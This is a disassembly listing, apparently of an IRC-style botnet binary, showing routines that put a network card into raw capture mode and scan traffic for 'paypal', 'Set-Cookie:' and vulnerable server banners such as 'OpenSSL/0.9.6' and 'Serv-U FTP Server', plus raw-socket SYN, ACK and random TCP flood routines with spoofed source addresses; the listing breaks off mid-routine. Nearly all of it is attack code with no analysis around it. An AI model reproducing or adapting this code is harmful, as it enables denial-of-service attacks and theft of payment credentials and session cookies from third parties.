; ---------------------------------------------------------------------------

loc_41300F:				; CODE XREF: sub_412FF5+14j
		push	offset a0	; "#0#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41300B
		push	offset aPaypal	; "paypal"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413035

loc_413031:				; CODE XREF: sub_412FF5+4Fj
					; sub_412FF5+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_413035:				; CODE XREF: sub_412FF5+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413031
		push	offset aPaypal_com ; "PAYPAL.COM"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413031
		push	offset aPaypal_com_0 ; "paypal.com"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413031
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412FF5	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41307C(char *Str)

sub_41307C	proc near		; CODE XREF: sub_4130E1:loc_4134A6p

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413096

loc_413092:				; CODE XREF: sub_41307C+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_413096:				; CODE XREF: sub_41307C+14j
		push	offset a0	; "#0#"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413092
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130BC

loc_4130B8:				; CODE XREF: sub_41307C+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4130BC:				; CODE XREF: sub_41307C+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130B8
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_41307C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4130E1	proc near		; DATA XREF: sub_401CC7+4276o

Dst		= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
Str		= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
Dest		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4E310C	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4E317C	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx		; Size
		push	dword ptr [eax]	; Src
		lea	eax, [ebp+var_8]
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4E3178	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413187
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_413187:				; CODE XREF: sub_4130E1+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4E3124	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4131FD
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CA64 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4131D9
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_30]	; int
		push	eax		; int
		lea	eax, [ebp+var_B4]
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_409D34
		add	esp, 14h

loc_4131D9:				; CODE XREF: sub_4130E1+D6j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	edi
		call	dword_4E3190	; closesocket
		push	[ebp+var_34]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_4131FD:				; CODE XREF: sub_4130E1+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4E30A4	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413283
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CA90 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41325F
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_30]	; int
		push	eax		; int
		lea	eax, [ebp+var_B4]
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_409D34
		add	esp, 14h

loc_41325F:				; CODE XREF: sub_4130E1+15Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	edi
		call	dword_4E3190	; closesocket
		push	[ebp+var_34]
		call	sub_40BA72
		pop	ecx
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_413283:				; CODE XREF: sub_4130E1+13Cj
		mov	esi, 200h

loc_413288:				; CODE XREF: sub_4130E1+1D6j
					; sub_4130E1+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+Dst]
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4E3110	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413288
		push	[ebp+var_113A4]
		mov	edi, ds:dword_4F5500
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413288
		cmp	[ebp+arg_0], 19h
		jz	short loc_413288
		cmp	edi, 6Eh
		jz	short loc_413288
		cmp	edi, 19h
		jz	short loc_413288
		push	[ebp+var_113AC]
		call	sub_412DD2
		pop	ecx
		push	dword ptr [eax]
		call	ds:dword_4F5504	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_34	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+var_113A8]
		call	sub_412DD2
		add	esp, 10h
		push	dword ptr [eax]
		call	ds:dword_4F5504	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_35	; "%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		mov	[ebp+var_4], ebx
		push	eax		; Str
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jle	short loc_413386

loc_413352:				; CODE XREF: sub_4130E1+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+Str], 0Dh
		lea	eax, [ebp+eax+Str]
		jnz	short loc_413369
		mov	byte ptr [eax],	20h

loc_413369:				; CODE XREF: sub_4130E1+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_413371
		mov	byte ptr [eax],	20h

loc_413371:				; CODE XREF: sub_4130E1+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_413352

loc_413386:				; CODE XREF: sub_4130E1+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413439
		cmp	edi, 50h
		jz	loc_413439
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412DE1
		test	al, al
		pop	ecx
		jz	short loc_4133CD
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44CAC8
		jmp	loc_413468
; ---------------------------------------------------------------------------

loc_4133CD:				; CODE XREF: sub_4130E1+2C7j
		cmp	edi, 50h
		jz	short loc_413439
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412EF8
		test	al, al
		pop	ecx
		jz	short loc_413403
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44CAFC
		jmp	short loc_413468
; ---------------------------------------------------------------------------

loc_413403:				; CODE XREF: sub_4130E1+300j
		cmp	edi, 50h
		jz	short loc_413439
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412F6E
		test	al, al
		pop	ecx
		jz	short loc_413439
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44CB30
		jmp	short loc_413468
; ---------------------------------------------------------------------------

loc_413439:				; CODE XREF: sub_4130E1+2A9j
					; sub_4130E1+2B2j ...
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412FF5
		test	al, al
		pop	ecx
		lea	eax, [ebp+Str]
		push	eax
		jz	short loc_4134A6
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset asc_44CB64 ; "-"

loc_413468:				; CODE XREF: sub_4130E1+2E7j
					; sub_4130E1+320j ...
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413288
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_30]	; int
		push	eax		; int
		lea	eax, [ebp+var_B4]
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_409D34
		add	esp, 14h
		jmp	loc_413288
; ---------------------------------------------------------------------------

loc_4134A6:				; CODE XREF: sub_4130E1+36Ej
		call	sub_41307C
		test	al, al
		pop	ecx
		jz	loc_413288
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44CB9C
		jmp	short loc_413468
sub_4130E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134D4	proc near		; DATA XREF: sub_401CC7+65C3o

Dest		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= dword	ptr -18Ch
Str		= byte ptr -10Ch
Str1		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		lea	eax, [ebp+var_18C]
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+var_20C]
		push	eax		; Str
		lea	eax, [ebp+var_28C]
		push	eax		; int
		call	sub_4138C0
		add	esp, 14h
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CBD4 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_413567
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_294]	; int
		call	sub_409D34
		add	esp, 14h

loc_413567:				; CODE XREF: sub_4134D4+71j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_290]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_4134D4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_413589(int,int,char *Str1,int,int)

sub_413589	proc near		; CODE XREF: sub_4138C0+40p

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
Dst		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str1		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4E3068	; WSAStartup
		test	eax, eax
		jz	short loc_4135C9
		xor	eax, eax
		jmp	loc_4138BC
; ---------------------------------------------------------------------------

loc_4135C9:				; CODE XREF: sub_413589+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4E319C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4138B4
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4E30D8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4138AA
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4E30F8	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4E30F8	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4E30F8	; htons
		mov	[ebp+var_12], ax
		call	_rand
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4E30F8	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4E30F4	; htonl
		push	offset aDdos_syn_0 ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413699
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4136ED
; ---------------------------------------------------------------------------

loc_413699:				; CODE XREF: sub_413589+105j
		push	offset aDdos_ack_0 ; "ddos.ack"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4136B5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4136ED
; ---------------------------------------------------------------------------

loc_4136B5:				; CODE XREF: sub_413589+121j
		push	offset aDdos_random_0 ;	"ddos.random"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4136ED
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_4136ED:				; CODE XREF: sub_413589+10Ej
					; sub_413589+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4E30F8	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+Str1], ebx
		call	ds:dword_4F540C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4F5408	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_41373B:				; CODE XREF: sub_413589+2E2j
					; sub_413589+2F0j
		mov	[ebp+var_4], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4E30F8	; htons
		mov	[ebp+var_14], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	dword_4E30F8	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4E30F4	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4E30F8	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AFCA
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AFCA
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4E315C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41387E
		add	[ebp+Str1], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4F5408	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4138A7
		jl	loc_41373B
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4138A7
		jmp	loc_41373B
; ---------------------------------------------------------------------------

loc_41387E:				; CODE XREF: sub_413589+2CBj
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CC20 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 10h
		jmp	short loc_4138AA
; ---------------------------------------------------------------------------

loc_4138A7:				; CODE XREF: sub_413589+2E0j
					; sub_413589+2EEj
		mov	ebx, [ebp+Str1]

loc_4138AA:				; CODE XREF: sub_413589+78j
					; sub_413589+31Cj
		push	[ebp+var_20]
		call	dword_4E3190	; closesocket
		pop	esi

loc_4138B4:				; CODE XREF: sub_413589+5Bj
		call	dword_4E3050	; WSACleanup
		mov	eax, ebx

loc_4138BC:				; CODE XREF: sub_413589+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413589	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4138C0(int,char *Str,char *Str1,int)

sub_4138C0	proc near		; CODE XREF: sub_4134D4+4Fp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE55
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_C]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi		; int
		idiv	ecx
		push	ebx		; int
		push	[esp+20h+Str1]	; Str1
		lea	eax, [edx+esi+100h]
		push	eax		; int
		push	esi		; int
		call	sub_413589
		add	esp, 20h
		test	eax, eax
		jnz	short loc_41390F
		push	1
		pop	eax

loc_41390F:				; CODE XREF: sub_4138C0+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4138C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41391E	proc near		; DATA XREF: sub_401CC7+67A2o

Dest		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4E3178	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4139B9
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CC3C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_41399C
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D34
		add	esp, 14h

loc_41399C:				; CODE XREF: sub_41391E+5Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_38]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_4139B9:				; CODE XREF: sub_41391E+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4E30D8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413A30
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44CC68 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413A13
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D34
		add	esp, 14h

loc_413A13:				; CODE XREF: sub_41391E+D3j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_38]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_413A30:				; CODE XREF: sub_41391E+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4E3138	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413A97
		lea	eax, [ebp+Dest]
		push	offset asc_44CC98 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_413A7A
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D34
		add	esp, 14h

loc_413A7A:				; CODE XREF: sub_41391E+13Aj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_38]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_413A97:				; CODE XREF: sub_41391E+122j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	edi
		call	dword_4E30F8	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4E3138	; inet_addr
		mov	esi, ds:dword_4F537C
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax

loc_413AD5:				; CODE XREF: sub_41391E+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_413C80
		push	41Ch
		mov	byte_4E5EB0, 45h
		call	dword_4E30F8	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4E5EB2, ax
		mov	word_4E5EB4, bx
		mov	word_4E5EB6, di
		mov	byte_4E5EB8, 80h
		mov	byte_4E5EB9, bl
		mov	word_4E5EBA, di
		jz	short loc_413B5B
		call	_rand
		mov	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		push	1
		mov	dword_4E5EBC, ebx
		pop	ebx
		jmp	short loc_413B73
; ---------------------------------------------------------------------------

loc_413B5B:				; CODE XREF: sub_41391E+20Bj
		push	[ebp+var_1BC]
		call	sub_40AF71
		pop	ecx
		push	eax
		call	dword_4E3138	; inet_addr
		mov	dword_4E5EBC, eax

loc_413B73:				; CODE XREF: sub_41391E+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_4E5EC0, eax
		call	_rand
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4E5EC4, dl
		call	_rand
		cdq
